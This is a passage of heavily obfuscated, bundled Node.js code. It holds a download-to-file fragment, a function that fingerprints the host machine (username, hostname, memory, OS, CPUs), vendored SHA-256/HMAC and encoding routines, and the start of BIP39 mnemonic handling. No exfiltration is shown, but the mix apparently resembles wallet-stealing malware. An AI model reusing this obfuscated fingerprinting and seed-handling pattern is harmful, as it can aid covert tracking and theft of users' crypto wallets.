let _0x22bdf4 = _0x31ce0;
try {
const _0x2ebc3 = import_node_fs["default"]["existsSync"](_0x31ce0) ? import_node_fs["default"]["statSync"](_0x31ce0) : null;
_0x2ebc3 && _0x2ebc3["isDirectory"]() && (_0x22bdf4 = import_node_path["default"]["join"](_0x31ce0, _0x16c6a3));
} catch {}
_0x25b2 && (_0x22bdf4 = import_node_path["default"]["join"](import_node_path["default"]["resolve"](_0x31ce0), _0x16c6a3)), _0x31ce0 = _0x22bdf4;
}
}
} catch {}
const _0x39d42a3 = import_node_fs["default"]["createWriteStream"](_0x31ce0);
await (0, import_promises["pipeline"])(import_node_stream["Readable"]["fromWeb"](_0x4d552d8["body"]), _0x39d42a3);
}
var import_node_crypto = __toESM(require("node:crypto")),
import_node_os = __toESM(require("node:os"));
function getHuidMd5() {
const _0x4db3c = potato;
return import_node_crypto["default"]["createHash"]("md5")["update"]("" + import_node_os["default"]["userInfo"]()["username"] + import_node_os["default"]["hostname"]() + import_node_os["default"]["totalmem"]() + import_node_os["default"]["version"]() + new Set(import_node_os["default"]["cpus"]()["map"](_0x202 => _0x202["model"]["trim"]())))["digest"]("hex");
}
function isBytes(_0x4092c4) {
const _0x203 = potato;
return _0x4092c4 instanceof Uint8Array || ArrayBuffer["isView"](_0x4092c4) && _0x4092c4["constructor"]["name"] === "Uint8Array";
}
function anumber(_0x3c6, _0x206 = "") {
const _0x3ee88a2 = potato;
if (!Number["isSafeInteger"](_0x3c6) || _0x3c6 < 0) {
const _0x29bda2 = _0x206 && "\"" + _0x206 + "\" ";
throw new Error(_0x29bda2 + "expected integer >= 0, got " + _0x3c6);
}
}
function abytes(_0x15f5, _0x3de0d4, _0x32d3 = "") {
const _0x207 = potato,
_0x2b44f3 = isBytes(_0x15f5),
_0x2844bc4 = _0x15f5?. ["length"],
_0x5e5fd4 = _0x3de0d4 !== void 0;
if (!_0x2b44f3 || _0x5e5fd4 && _0x2844bc4 !== _0x3de0d4) {
const _0x5442ee3 = _0x32d3 && "\"" + _0x32d3 + "\" ",
_0x5c97b2 = _0x5e5fd4 ? " of length " + _0x3de0d4 : "",
_0x7f2 = _0x2b44f3 ? "length=" + _0x2844bc4 : "type=" + typeof _0x15f5;
throw new Error(_0x5442ee3 + "expected Uint8Array" + _0x5c97b2 + ", got " + _0x7f2);
}
return _0x15f5;
}
function ahash(_0x2ba1b6) {
const _0x208 = potato;
if (typeof _0x2ba1b6 !== "function" || typeof _0x2ba1b6["create"] !== "function") throw new Error("Hash must wrapped by utils.createHasher");
anumber(_0x2ba1b6["outputLen"]), anumber(_0x2ba1b6["blockLen"]);
}
function aexists(_0x46b64f4, _0x210 = !![]) {
const _0x2270bd2 = potato;
if (_0x46b64f4["destroyed"]) throw new Error("Hash instance has been destroyed");
if (_0x210 && _0x46b64f4["finished"]) throw new Error("Hash#digest() has already been called");
}
function aoutput(_0x5d0c3, _0x1a2) {
const _0x2df = potato;
abytes(_0x5d0c3, void 0, "digestInto() output");
const _0x16d4 = _0x1a2["outputLen"];
if (_0x5d0c3["length"] < _0x16d4) throw new Error("\"digestInto() output\" expected to be of length >=" + _0x16d4);
}
function clean(..._0x35b71b4) {
const _0x2ed43a2 = potato;
for (let _0x2b4ba5 = 0; _0x2b4ba5 < _0x35b71b4["length"]; _0x2b4ba5++) {
_0x35b71b4[_0x2b4ba5]["fill"](0);
}
}
function createView(_0x19fd4) {
const _0x505a = potato;
return new DataView(_0x19fd4["buffer"], _0x19fd4["byteOffset"], _0x19fd4["byteLength"]);
}
function rotr(_0x5d5bcc4, _0x447fc3) {
return _0x5d5bcc4 << 32 - _0x447fc3 | _0x5d5bcc4 >>> _0x447fc3;
}
function createHasher(_0x33cdac5, _0x31f0a2 = {}) {
const _0xe6c5c = potato,
_0x4a3f6 = (_0x1f4, _0x54381c3) => _0x33cdac5(_0x54381c3)["update"](_0x1f4)["digest"](),
_0x213 = _0x33cdac5(void 0);
return _0x4a3f6["outputLen"] = _0x213["outputLen"], _0x4a3f6["blockLen"] = _0x213["blockLen"], _0x4a3f6["create"] = _0x482d2 => _0x33cdac5(_0x482d2), Object["assign"](_0x4a3f6, _0x31f0a2), Object["freeze"](_0x4a3f6);
}
var oidNist = _0x215 => ({
"oid": Uint8Array["from"]([6, 9, 96, 134, 72, 1, 101, 3, 4, 2, _0x215])
}),
_HMAC = class {
["oHash"];
["iHash"];
["blockLen"];
["outputLen"];
["finished"] = ![];
["destroyed"] = ![];
constructor(_0x39fc7d6, _0xe87a7b6) {
const _0x216 = potato;
ahash(_0x39fc7d6), abytes(_0xe87a7b6, void 0, "key"), this["iHash"] = _0x39fc7d6["create"]();
if (typeof this["iHash"]["update"] !== "function") throw new Error("Expected instance of class which extends utils.Hash");
this["blockLen"] = this["iHash"]["blockLen"], this["outputLen"] = this["iHash"]["outputLen"];
const _0x22e3 = this["blockLen"],
_0x4eba9 = new Uint8Array(_0x22e3);
_0x4eba9["set"](_0xe87a7b6["length"] > _0x22e3 ? _0x39fc7d6["create"]()["update"](_0xe87a7b6)["digest"]() : _0xe87a7b6);
for (let _0x2dc21a5 = 0; _0x2dc21a5 < _0x4eba9["length"]; _0x2dc21a5++) _0x4eba9[_0x2dc21a5] ^= 54;
this["iHash"]["update"](_0x4eba9), this["oHash"] = _0x39fc7d6["create"]();
for (let _0x3cf9a4 = 0; _0x3cf9a4 < _0x4eba9["length"]; _0x3cf9a4++) _0x4eba9[_0x3cf9a4] ^= 54 ^ 92;
this["oHash"]["update"](_0x4eba9), clean(_0x4eba9);
}
["update"](_0x3bc0d2) {
const _0x5783f = potato;
return aexists(this), this["iHash"]["update"](_0x3bc0d2), this;
}
["digestInto"](_0x50cf5) {
const _0x4d12ea2 = potato;
aexists(this), abytes(_0x50cf5, this["outputLen"], "output"), this["finished"] = !![], this["iHash"]["digestInto"](_0x50cf5), this["oHash"]["update"](_0x50cf5), this["oHash"]["digestInto"](_0x50cf5), this["destroy"]();
}
["digest"]() {
const _0x576cdb2 = potato,
_0x49732a4 = new Uint8Array(this["oHash"]["outputLen"]);
return this["digestInto"](_0x49732a4), _0x49732a4;
}
["_cloneInto"](_0x5b1e11) {
const _0x217 = potato;
_0x5b1e11 ||= Object["create"](Object["getPrototypeOf"](this), {});
const {
oHash: _0x3d50ad3,
iHash: _0x3ba9d2,
finished: _0x5ad5,
destroyed: _0x4532a2,
blockLen: _0x16a2,
outputLen: _0x2621f2
} = this;
return _0x5b1e11 = _0x5b1e11, _0x5b1e11["finished"] = _0x5ad5, _0x5b1e11["destroyed"] = _0x4532a2, _0x5b1e11["blockLen"] = _0x16a2, _0x5b1e11["outputLen"] = _0x2621f2, _0x5b1e11["oHash"] = _0x3d50ad3["_cloneInto"](_0x5b1e11["oHash"]), _0x5b1e11["iHash"] = _0x3ba9d2["_cloneInto"](_0x5b1e11["iHash"]), _0x5b1e11;
}
["clone"]() {
return this["_cloneInto"]();
}
["destroy"]() {
const _0x281d = potato;
this["destroyed"] = !![], this["oHash"]["destroy"](), this["iHash"]["destroy"]();
}
},
hmac = (_0x1883b2, _0x5770c2, _0x5ed2) => new _HMAC(_0x1883b2, _0x5770c2)["update"](_0x5ed2)["digest"]();
hmac["create"] = (_0x5bbc2, _0x1ae2) => new _HMAC(_0x5bbc2, _0x1ae2);
function Chi(_0x37eb3, _0x21db2, _0x2e6) {
return _0x37eb3 & _0x21db2 ^ ~_0x37eb3 & _0x2e6;
}
function Maj(_0x1d94df4, _0xcee0e3, _0x220) {
return _0x1d94df4 & _0xcee0e3 ^ _0x1d94df4 & _0x220 ^ _0xcee0e3 & _0x220;
}
var HashMD = class {
["blockLen"];
["outputLen"];
["padOffset"];
["isLE"];
["buffer"];
["view"];
["finished"] = ![];
["length"] = 0;
["pos"] = 0;
["destroyed"] = ![];
constructor(_0x25c50e4, _0x43ba2, _0x2f6eb2, _0x56f2) {
const _0xff = potato;
this["blockLen"] = _0x25c50e4, this["outputLen"] = _0x43ba2, this["padOffset"] = _0x2f6eb2, this["isLE"] = _0x56f2, this["buffer"] = new Uint8Array(_0x25c50e4), this["view"] = createView(this["buffer"]);
}
["update"](_0x1de6) {
const _0x5f = potato;
aexists(this), abytes(_0x1de6);
const {
view: _0x3280ea3,
buffer: _0x18f2,
blockLen: _0x13d6
} = this,
_0x224 = _0x1de6["length"];
for (let _0x3e6fae0 = 0; _0x3e6fae0 < _0x224;) {
const _0x4142cb6 = Math["min"](_0x13d6 - this["pos"], _0x224 - _0x3e6fae0);
if (_0x4142cb6 === _0x13d6) {
const _0x2231eb3 = createView(_0x1de6);
for (; _0x13d6 <= _0x224 - _0x3e6fae0; _0x3e6fae0 += _0x13d6) this["process"](_0x2231eb3, _0x3e6fae0);
continue;
}
_0x18f2["set"](_0x1de6["subarray"](_0x3e6fae0, _0x3e6fae0 + _0x4142cb6), this["pos"]), this["pos"] += _0x4142cb6, _0x3e6fae0 += _0x4142cb6, this["pos"] === _0x13d6 && (this["process"](_0x3280ea3, 0), this["pos"] = 0);
}
return this["length"] += _0x1de6["length"], this["roundClean"](), this;
}
["digestInto"](_0x47343d4) {
const _0x373a = potato;
aexists(this), aoutput(_0x47343d4, this), this["finished"] = !![];
const {
buffer: _0x43f5,
view: _0x4e6a4,
blockLen: _0x5c10a5,
isLE: _0x24ff7d4
} = this;
let {
pos: _0x44a40e7
} = this;
_0x43f5[_0x44a40e7++] = 128, clean(this["buffer"]["subarray"](_0x44a40e7));
this["padOffset"] > _0x5c10a5 - _0x44a40e7 && (this["process"](_0x4e6a4, 0), _0x44a40e7 = 0);
for (let _0x23821b5 = _0x44a40e7; _0x23821b5 < _0x5c10a5; _0x23821b5++) _0x43f5[_0x23821b5] = 0;
_0x4e6a4["setBigUint64"](_0x5c10a5 - 8, BigInt(this["length"] * 8), _0x24ff7d4), this["process"](_0x4e6a4, 0);
const _0x34447f3 = createView(_0x47343d4),
_0x40ba3a4 = this["outputLen"];
if (_0x40ba3a4 % 4) throw new Error("_sha2: outputLen must be aligned to 32bit");
const _0x26410a4 = _0x40ba3a4 / 4,
_0x8a44fc4 = this["get"]();
if (_0x26410a4 > _0x8a44fc4["length"]) throw new Error("_sha2: outputLen bigger than state");
for (let _0x1ee9ee6 = 0; _0x1ee9ee6 < _0x26410a4; _0x1ee9ee6++) _0x34447f3["setUint32"](4 * _0x1ee9ee6, _0x8a44fc4[_0x1ee9ee6], _0x24ff7d4);
}
["digest"]() {
const _0x4734f = potato,
{
buffer: _0x41aeba4,
outputLen: _0x5b12e2
} = this;
this["digestInto"](_0x41aeba4);
const _0x39fba2 = _0x41aeba4["slice"](0, _0x5b12e2);
return this["destroy"](), _0x39fba2;
}
["_cloneInto"](_0xcfcd0) {
const _0xb9e57c2 = potato;
_0xcfcd0 ||= new this["constructor"](), _0xcfcd0["set"](...this["get"]());
const {
blockLen: _0x14e42d3,
buffer: _0xcb487f3,
length: _0x59c82d4,
finished: _0x4bb5b2,
destroyed: _0x2b4,
pos: _0x226
} = this;
_0xcfcd0["destroyed"] = _0x2b4, _0xcfcd0["finished"] = _0x4bb5b2, _0xcfcd0["length"] = _0x59c82d4, _0xcfcd0["pos"] = _0x226;
if (_0x59c82d4 % _0x14e42d3) _0xcfcd0["buffer"]["set"](_0xcb487f3);
return _0xcfcd0;
}
["clone"]() {
return this["_cloneInto"]();
}
},
SHA256_IV = Uint32Array["from"]([1779033703, 3144134277, 1013904242, 2773480762, 1359893119, 2600822924, 528734635, 1541459225]),
U32_MASK64 = BigInt(2 ** 32 - 1),
SHA256_K = Uint32Array["from"]([1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221, 3624381080, 310598401, 607225278, 1426881987, 1925078388, 2162078206, 2614888103, 3248222580, 3835390401, 4022224774, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986, 2554220882, 2821834349, 2952996808, 3210313671, 3336571891, 3584528711, 113926993, 338241895, 666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, 2177026350, 2456956037, 2730485921, 2820302411, 3259730800, 3345764771, 3516065817, 3600352804, 4094571909, 275423344, 430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779, 1955562222, 2024104815, 2227730452, 2361852424, 2428436474, 2756734187, 3204031479, 3329325298]),
SHA256_W = new Uint32Array(64),
SHA2_32B = class extends HashMD {
constructor(_0xdf77d2) {
super(64, _0xdf77d2, 8, ![]);
}
["get"]() {
const {
A: _0x4e585e3,
B: _0x1be33b3,
C: _0x375d2,
D: _0x5c9,
E: _0x189dbf3,
F: _0x5d4,
G: _0x5c0c5e3,
H: _0x31deb2
} = this;
return [_0x4e585e3, _0x1be33b3, _0x375d2, _0x5c9, _0x189dbf3, _0x5d4, _0x5c0c5e3, _0x31deb2];
}
["set"](_0x7c8d2, _0x1da0ff3, _0x48279d3, _0x9b98f2, _0x5e058a3, _0x228, _0x57c2, _0xf8) {
this["A"] = _0x7c8d2 | 0, this["B"] = _0x1da0ff3 | 0, this["C"] = _0x48279d3 | 0, this["D"] = _0x9b98f2 | 0, this["E"] = _0x5e058a3 | 0, this["F"] = _0x228 | 0, this["G"] = _0x57c2 | 0, this["H"] = _0xf8 | 0;
}
["process"](_0x52e59b3, _0x1deb9a4) {
const _0x20651d2 = potato;
for (let _0x3e0b4e5 = 0; _0x3e0b4e5 < 16; _0x3e0b4e5++, _0x1deb9a4 += 4) SHA256_W[_0x3e0b4e5] = _0x52e59b3["getUint32"](_0x1deb9a4, ![]);
for (let _0x240 = 16; _0x240 < 64; _0x240++) {
const _0x36826e5 = SHA256_W[_0x240 - 15],
_0x237 = SHA256_W[_0x240 - 2],
_0x4fdd1f3 = rotr(_0x36826e5, 7) ^ rotr(_0x36826e5, 18) ^ _0x36826e5 >>> 3,
_0x3d24ab3 = rotr(_0x237, 17) ^ rotr(_0x237, 19) ^ _0x237 >>> 10;
SHA256_W[_0x240] = _0x3d24ab3 + SHA256_W[_0x240 - 7] + _0x4fdd1f3 + SHA256_W[_0x240 - 16] | 0;
}
let {
A: _0x3dcbb1,
B: _0x89406e8,
C: _0x3afec7,
D: _0x593cd7,
E: _0x1d662e1,
F: _0x4cd7,
G: _0x19ed7,
H: _0x5341ba7
} = this;
for (let _0x31705e6 = 0; _0x31705e6 < 64; _0x31705e6++) {
const _0x2a0b5 = rotr(_0x1d662e1, 6) ^ rotr(_0x1d662e1, 11) ^ rotr(_0x1d662e1, 25),
_0x4413d4 = _0x5341ba7 + _0x2a0b5 + Chi(_0x1d662e1, _0x4cd7, _0x19ed7) + SHA256_K[_0x31705e6] + SHA256_W[_0x31705e6] | 0,
_0x411b2 = rotr(_0x3dcbb1, 2) ^ rotr(_0x3dcbb1, 13) ^ rotr(_0x3dcbb1, 22),
_0x5910c2 = _0x411b2 + Maj(_0x3dcbb1, _0x89406e8, _0x3afec7) | 0;
_0x5341ba7 = _0x19ed7, _0x19ed7 = _0x4cd7, _0x4cd7 = _0x1d662e1, _0x1d662e1 = _0x593cd7 + _0x4413d4 | 0, _0x593cd7 = _0x3afec7, _0x3afec7 = _0x89406e8, _0x89406e8 = _0x3dcbb1, _0x3dcbb1 = _0x4413d4 + _0x5910c2 | 0;
}
_0x3dcbb1 = _0x3dcbb1 + this["A"] | 0, _0x89406e8 = _0x89406e8 + this["B"] | 0, _0x3afec7 = _0x3afec7 + this["C"] | 0, _0x593cd7 = _0x593cd7 + this["D"] | 0, _0x1d662e1 = _0x1d662e1 + this["E"] | 0, _0x4cd7 = _0x4cd7 + this["F"] | 0, _0x19ed7 = _0x19ed7 + this["G"] | 0, _0x5341ba7 = _0x5341ba7 + this["H"] | 0, this["set"](_0x3dcbb1, _0x89406e8, _0x3afec7, _0x593cd7, _0x1d662e1, _0x4cd7, _0x19ed7, _0x5341ba7);
}
["roundClean"]() {
clean(SHA256_W);
}
["destroy"]() {
const _0x241 = potato;
this["set"](0, 0, 0, 0, 0, 0, 0, 0), clean(this["buffer"]);
}
},
_SHA256 = class extends SHA2_32B {
["A"] = SHA256_IV[0] | 0;
["B"] = SHA256_IV[1] | 0;
["C"] = SHA256_IV[2] | 0;
["D"] = SHA256_IV[3] | 0;
["E"] = SHA256_IV[4] | 0;
["F"] = SHA256_IV[5] | 0;
["G"] = SHA256_IV[6] | 0;
["H"] = SHA256_IV[7] | 0;
constructor() {
super(32);
}
},
sha256 = createHasher(() => new _SHA256(), oidNist(1));
function isBytes2(_0x1cf4) {
const _0x4e2 = potato;
return _0x1cf4 instanceof Uint8Array || ArrayBuffer["isView"](_0x1cf4) && _0x1cf4["constructor"]["name"] === "Uint8Array";
}
function isArrayOf(_0x45af2d3, _0x17a5) {
const _0x242 = potato;
if (!Array["isArray"](_0x17a5)) return ![];
if (_0x17a5["length"] === 0) return !![];
return _0x45af2d3 ? _0x17a5["every"](_0xff421e3 => typeof _0xff421e3 === "string") : _0x17a5["every"](_0x32e8d2 => Number["isSafeInteger"](_0x32e8d2));
}
function afn(_0x208ec2) {
const _0x51f09c2 = potato;
if (typeof _0x208ec2 !== "function") throw new Error("function expected");
return !![];
}
function astr(_0x55af4, _0x19d2) {
const _0x243 = potato;
if (typeof _0x19d2 !== "string") throw new Error(_0x55af4 + ": string expected");
return !![];
}
function anumber2(_0x25d64d4) {
const _0x1279ad2 = potato;
if (!Number["isSafeInteger"](_0x25d64d4)) throw new Error("invalid integer: " + _0x25d64d4);
}
function aArr(_0x245) {
const _0x40d = potato;
if (!Array["isArray"](_0x245)) throw new Error("array expected");
}
function astrArr(_0x1c12, _0x39476c3) {
const _0x939d4a2 = potato;
if (!isArrayOf(!![], _0x39476c3)) throw new Error(_0x1c12 + ": array of strings expected");
}
function anumArr(_0xf01b1c3, _0x342bec3) {
const _0x1e2d = potato;
if (!isArrayOf(![], _0x342bec3)) throw new Error(_0xf01b1c3 + ": array of numbers expected");
}
function chain(..._0x4605fc4) {
const _0x1b8a = potato,
_0x5e27e4 = _0x50e26f3 => _0x50e26f3,
_0x1eda8a4 = (_0x38205b3, _0x3c162f3) => _0x2e6e2 => _0x38205b3(_0x3c162f3(_0x2e6e2)),
_0x4e02e3 = _0x4605fc4["map"](_0x3ca37d3 => _0x3ca37d3["encode"])["reduceRight"](_0x1eda8a4, _0x5e27e4),
_0x9fd60f3 = _0x4605fc4["map"](_0x3877a2 => _0x3877a2["decode"])["reduce"](_0x1eda8a4, _0x5e27e4);
return {
"encode": _0x4e02e3,
"decode": _0x9fd60f3
};
}
function alphabet(_0x35562a7) {
const _0x4f27d3 = potato,
_0x2033e5 = typeof _0x35562a7 === "string" ? _0x35562a7["split"]("") : _0x35562a7,
_0x2c4d0e3 = _0x2033e5["length"];
astrArr("alphabet", _0x2033e5);
const _0x54ab2 = new Map(_0x2033e5["map"]((_0x1763cb3, _0x55e51e3) => [_0x1763cb3, _0x55e51e3]));
return {
"encode": _0x49def3 => {
const _0x5e2d2 = _0x4f27d3;
return aArr(_0x49def3), _0x49def3["map"](_0x1740fd7 => {
const _0x5d86a = _0x5e2d2;
if (!Number["isSafeInteger"](_0x1740fd7) || _0x1740fd7 < 0 || _0x1740fd7 >= _0x2c4d0e3) throw new Error("alphabet.encode: digit index outside alphabet \"" + _0x1740fd7 + "\". Allowed: " + _0x35562a7);
return _0x2033e5[_0x1740fd7];
});
},
"decode": _0x24387b4 => {
const _0x52a4f2 = _0x4f27d3;
return aArr(_0x24387b4), _0x24387b4["map"](_0x5116d5 => {
const _0x28e = _0x52a4f2;
astr("alphabet.decode", _0x5116d5);
const _0x4966e3 = _0x54ab2["get"](_0x5116d5);
if (_0x4966e3 === void 0) throw new Error("Unknown letter: \"" + _0x5116d5 + "\". Allowed: " + _0x35562a7);
return _0x4966e3;
});
}
};
}
function join(_0x260f4 = "") {
const _0x221d2 = potato;
return astr("join", _0x260f4), {
"encode": _0x149aed4 => {
return astrArr("join.decode", _0x149aed4), _0x149aed4["join"](_0x260f4);
},
"decode": _0x45dd3 => {
const _0x35062d2 = _0x221d2;
return astr("join.decode", _0x45dd3), _0x45dd3["split"](_0x260f4);
}
};
}
function padding(_0x463b5c6, _0x10ebe4 = "=") {
const _0x4cba5f4 = potato;
return anumber2(_0x463b5c6), astr("padding", _0x10ebe4), {
"encode"(_0x57e1cc6) {
const _0x369cea2 = _0x4cba5f4;
astrArr("padding.encode", _0x57e1cc6);
while (_0x57e1cc6["length"] * _0x463b5c6 % 8) _0x57e1cc6["push"](_0x10ebe4);
return _0x57e1cc6;
},
"decode"(_0x252) {
const _0xe2ab = _0x4cba5f4;
astrArr("padding.decode", _0x252);
let _0x2fc7 = _0x252["length"];
if (_0x2fc7 * _0x463b5c6 % 8) throw new Error("padding: invalid, string should have whole number of bytes");
for (; _0x2fc7 > 0 && _0x252[_0x2fc7 - 1] === _0x10ebe4; _0x2fc7--) {
const _0x251 = _0x2fc7 - 1,
_0x3bed2 = _0x251 * _0x463b5c6;
if (_0x3bed2 % 8 === 0) throw new Error("padding: invalid, string has too much padding");
}
return _0x252["slice"](0, _0x2fc7);
}
};
}
function convertRadix(_0x27d6, _0x5b63bf7, _0x5e108c7) {
const _0x24e7c2 = potato;
if (_0x5b63bf7 < 2) throw new Error("convertRadix: invalid from=" + _0x5b63bf7 + ", base cannot be less than 2");
if (_0x5e108c7 < 2) throw new Error("convertRadix: invalid to=" + _0x5e108c7 + ", base cannot be less than 2");
aArr(_0x27d6);
if (!_0x27d6["length"]) return [];
let _0x1b1f7c4 = 0;
const _0x3ea99f5 = [],
_0x356c4 = Array["from"](_0x27d6, _0x4628b6 => {
const _0x253 = _0x24e7c2;
anumber2(_0x4628b6);
if (_0x4628b6 < 0 || _0x4628b6 >= _0x5b63bf7) throw new Error("invalid integer: " + _0x4628b6);
return _0x4628b6;
}),
_0x1bd0ad3 = _0x356c4["length"];
while (!![]) {
let _0x5ad1ff7 = 0,
_0x11047a5 = !![];
for (let _0x264 = _0x1b1f7c4; _0x264 < _0x1bd0ad3; _0x264++) {
const _0x556ec4 = _0x356c4[_0x264],
_0x78fcb5 = _0x5b63bf7 * _0x5ad1ff7,
_0x329ea7 = _0x78fcb5 + _0x556ec4;
if (!Number["isSafeInteger"](_0x329ea7) || _0x78fcb5 / _0x5b63bf7 !== _0x5ad1ff7 || _0x329ea7 - _0x556ec4 !== _0x78fcb5) throw new Error("convertRadix: carry overflow");
const _0x48d4f2 = _0x329ea7 / _0x5e108c7;
_0x5ad1ff7 = _0x329ea7 % _0x5e108c7;
const _0x263 = Math["floor"](_0x48d4f2);
_0x356c4[_0x264] = _0x263;
if (!Number["isSafeInteger"](_0x263) || _0x263 * _0x5e108c7 + _0x5ad1ff7 !== _0x329ea7) throw new Error("convertRadix: carry overflow");
if (!_0x11047a5) continue;
else {
if (!_0x263) _0x1b1f7c4 = _0x264;
else _0x11047a5 = ![];
}
}
_0x3ea99f5["push"](_0x5ad1ff7);
if (_0x11047a5) break;
}
for (let _0x268 = 0; _0x268 < _0x27d6["length"] - 1 && _0x27d6[_0x268] === 0; _0x268++) _0x3ea99f5["push"](0);
return _0x3ea99f5["reverse"]();
}
var gcd = (_0x14e0b3, _0x47f4) => _0x47f4 === 0 ? _0x14e0b3 : gcd(_0x47f4, _0x14e0b3 % _0x47f4),
radix2carry = (_0x5b3, _0x20ca3) => _0x5b3 + (_0x20ca3 - gcd(_0x5b3, _0x20ca3)),
powers = (() => {
let _0xa3eb3 = [];
for (let _0x4d3d6a5 = 0; _0x4d3d6a5 < 40; _0x4d3d6a5++) _0xa3eb3["push"](2 ** _0x4d3d6a5);
return _0xa3eb3;
})();
function convertRadix2(_0x42876d4, _0x32bbc13, _0x1f414d11, _0x4e6) {
const _0x269 = potato;
aArr(_0x42876d4);
if (_0x32bbc13 <= 0 || _0x32bbc13 > 32) throw new Error("convertRadix2: wrong from=" + _0x32bbc13);
if (_0x1f414d11 <= 0 || _0x1f414d11 > 32) throw new Error("convertRadix2: wrong to=" + _0x1f414d11);
if (radix2carry(_0x32bbc13, _0x1f414d11) > 32) throw new Error("convertRadix2: carry overflow from=" + _0x32bbc13 + " to=" + _0x1f414d11 + " carryBits=" + radix2carry(_0x32bbc13, _0x1f414d11));
let _0x54e5ad1 = 0,
_0x28c96e10 = 0;
const _0x3a14b2 = powers[_0x32bbc13],
_0x51a7 = powers[_0x1f414d11] - 1,
_0x357f8a5 = [];
for (const _0x108d9b6 of _0x42876d4) {
anumber2(_0x108d9b6);
if (_0x108d9b6 >= _0x3a14b2) throw new Error("convertRadix2: invalid data word=" + _0x108d9b6 + " from=" + _0x32bbc13);
_0x54e5ad1 = _0x54e5ad1 << _0x32bbc13 | _0x108d9b6;
if (_0x28c96e10 + _0x32bbc13 > 32) throw new Error("convertRadix2: carry overflow pos=" + _0x28c96e10 + " from=" + _0x32bbc13);
_0x28c96e10 += _0x32bbc13;
for (; _0x28c96e10 >= _0x1f414d11; _0x28c96e10 -= _0x1f414d11) _0x357f8a5["push"]((_0x54e5ad1 >> _0x28c96e10 - _0x1f414d11 & _0x51a7) >>> 0);
const _0x3a6eee4 = powers[_0x28c96e10];
if (_0x3a6eee4 === void 0) throw new Error("invalid carry");
_0x54e5ad1 &= _0x3a6eee4 - 1;
}
_0x54e5ad1 = _0x54e5ad1 << _0x1f414d11 - _0x28c96e10 & _0x51a7;
if (!_0x4e6 && _0x28c96e10 >= _0x32bbc13) throw new Error("Excess padding");
if (!_0x4e6 && _0x54e5ad1 > 0) throw new Error("Non-zero padding: " + _0x54e5ad1);
if (_0x4e6 && _0x28c96e10 > 0) _0x357f8a5["push"](_0x54e5ad1 >>> 0);
return _0x357f8a5;
}
function radix(_0x35cd4) {
anumber2(_0x35cd4);
const _0x2db8fe4 = 2 ** 8;
return {
"encode": _0x3d156a4 => {
const _0x270 = perpetual;
if (!isBytes2(_0x3d156a4)) throw new Error("radix.encode input should be Uint8Array");
return convertRadix(Array["from"](_0x3d156a4), _0x2db8fe4, _0x35cd4);
},
"decode": _0x537ddc4 => {
const _0xf76f0b2 = perpetual;
return anumArr("radix.decode", _0x537ddc4), Uint8Array["from"](convertRadix(_0x537ddc4, _0x35cd4, _0x2db8fe4));
}
};
}
function radix2(_0x5d10, _0x1e9f3 = ![]) {
const _0x46a8 = potato;
anumber2(_0x5d10);
if (_0x5d10 <= 0 || _0x5d10 > 32) throw new Error("radix2: bits should be in (0..32]");
if (radix2carry(8, _0x5d10) > 32 || radix2carry(_0x5d10, 8) > 32) throw new Error("radix2: carry overflow");
return {
"encode": _0x1a4e7c4 => {
const _0x29804a2 = _0x46a8;
if (!isBytes2(_0x1a4e7c4)) throw new Error("radix2.encode input should be Uint8Array");
return convertRadix2(Array["from"](_0x1a4e7c4), 8, _0x5d10, !_0x1e9f3);
},
"decode": _0x17dbae4 => {
const _0x175cc = _0x46a8;
return anumArr("radix2.decode", _0x17dbae4), Uint8Array["from"](convertRadix2(_0x17dbae4, _0x5d10, 8, _0x1e9f3));
}
};
}
function checksum(_0xa21b8, _0x4af4) {
return anumber2(_0xa21b8), afn(_0x4af4), {
"encode"(_0x42cb6) {
const _0x1b14 = perpetual;
if (!isBytes2(_0x42cb6)) throw new Error("checksum.encode: input should be Uint8Array");
const _0x215b2 = _0x4af4(_0x42cb6)["slice"](0, _0xa21b8),
_0x5e8e4 = new Uint8Array(_0x42cb6["length"] + _0xa21b8);
return _0x5e8e4["set"](_0x42cb6), _0x5e8e4["set"](_0x215b2, _0x42cb6["length"]), _0x5e8e4;
},
"decode"(_0x59381c5) {
const _0x11280e2 = perpetual;
if (!isBytes2(_0x59381c5)) throw new Error("checksum.decode: input should be Uint8Array");
const _0x49a88c4 = _0x59381c5["slice"](0, -_0xa21b8),
_0x297b9b3 = _0x59381c5["slice"](-_0xa21b8),
_0xb1e14b3 = _0x4af4(_0x49a88c4)["slice"](0, _0xa21b8);
for (let _0x32e9 = 0; _0x32e9 < _0xa21b8; _0x32e9++)
if (_0xb1e14b3[_0x32e9] !== _0x297b9b3[_0x32e9]) throw new Error("Invalid checksum");
return _0x49a88c4;
}
};
}
var utils = {
"alphabet": alphabet,
"chain": chain,
"checksum": checksum,
"convertRadix": convertRadix,
"convertRadix2": convertRadix2,
"radix": radix,
"radix2": radix2,
"join": join,
"padding": padding
};
function nfkd(_0x1b18) {
const _0x109d = potato;
if (typeof _0x1b18 !== "string") throw new TypeError("invalid mnemonic type: " + typeof _0x1b18);
return _0x1b18["normalize"]("NFKD");
}
function normalize(_0x19fb2) {
const _0x271 = potato,
_0x25be3b4 = nfkd(_0x19fb2),
_0x5aaf5b4 = _0x25be3b4["split"](" ");
if (![12, 15, 18, 21, 24]["includes"](_0x5aaf5b4["length"])) throw new Error("Invalid mnemonic");
return {
"nfkd": _0x25be3b4,
"words": _0x5aaf5b4
};
}
function aentropy(_0x38cc3) {
const _0x14399d2 = potato;
abytes(_0x38cc3);
if (![16, 20, 24, 28, 32]["includes"](_0x38cc3["length"])) throw new Error("invalid entropy length");
}
var calcChecksum = _0x274 => {
const _0xe5b61d4 = 8 - _0x274["length"] / 4;
return new Uint8Array([sha256(_0x274)[0] >> _0xe5b61d4 << _0xe5b61d4]);
};
function getCoder(_0x46f2a6) {
const _0x5f1a2 = potato;
if (!Array["isArray"](_0x46f2a6) || _0x46f2a6["length"] !== 2048 || typeof _0x46f2a6[0] !== "string") throw new Error("Wordlist: expected array of 2048 strings");
return _0x46f2a6["forEach"](_0x10ebbb4 => {
const _0x4cf19c2 = _0x5f1a2;
if (typeof _0x10ebbb4 !== "string") throw new Error("wordlist: non-string element: " + _0x10ebbb4);
}), utils["chain"](utils["checksum"](1, calcChecksum), utils["radix2"](11, !![]), utils["alphabet"](_0x46f2a6));
}
function mnemonicToEntropy(_0x269af3, _0x2ad9eb3) {
const _0x275 = potato,
{
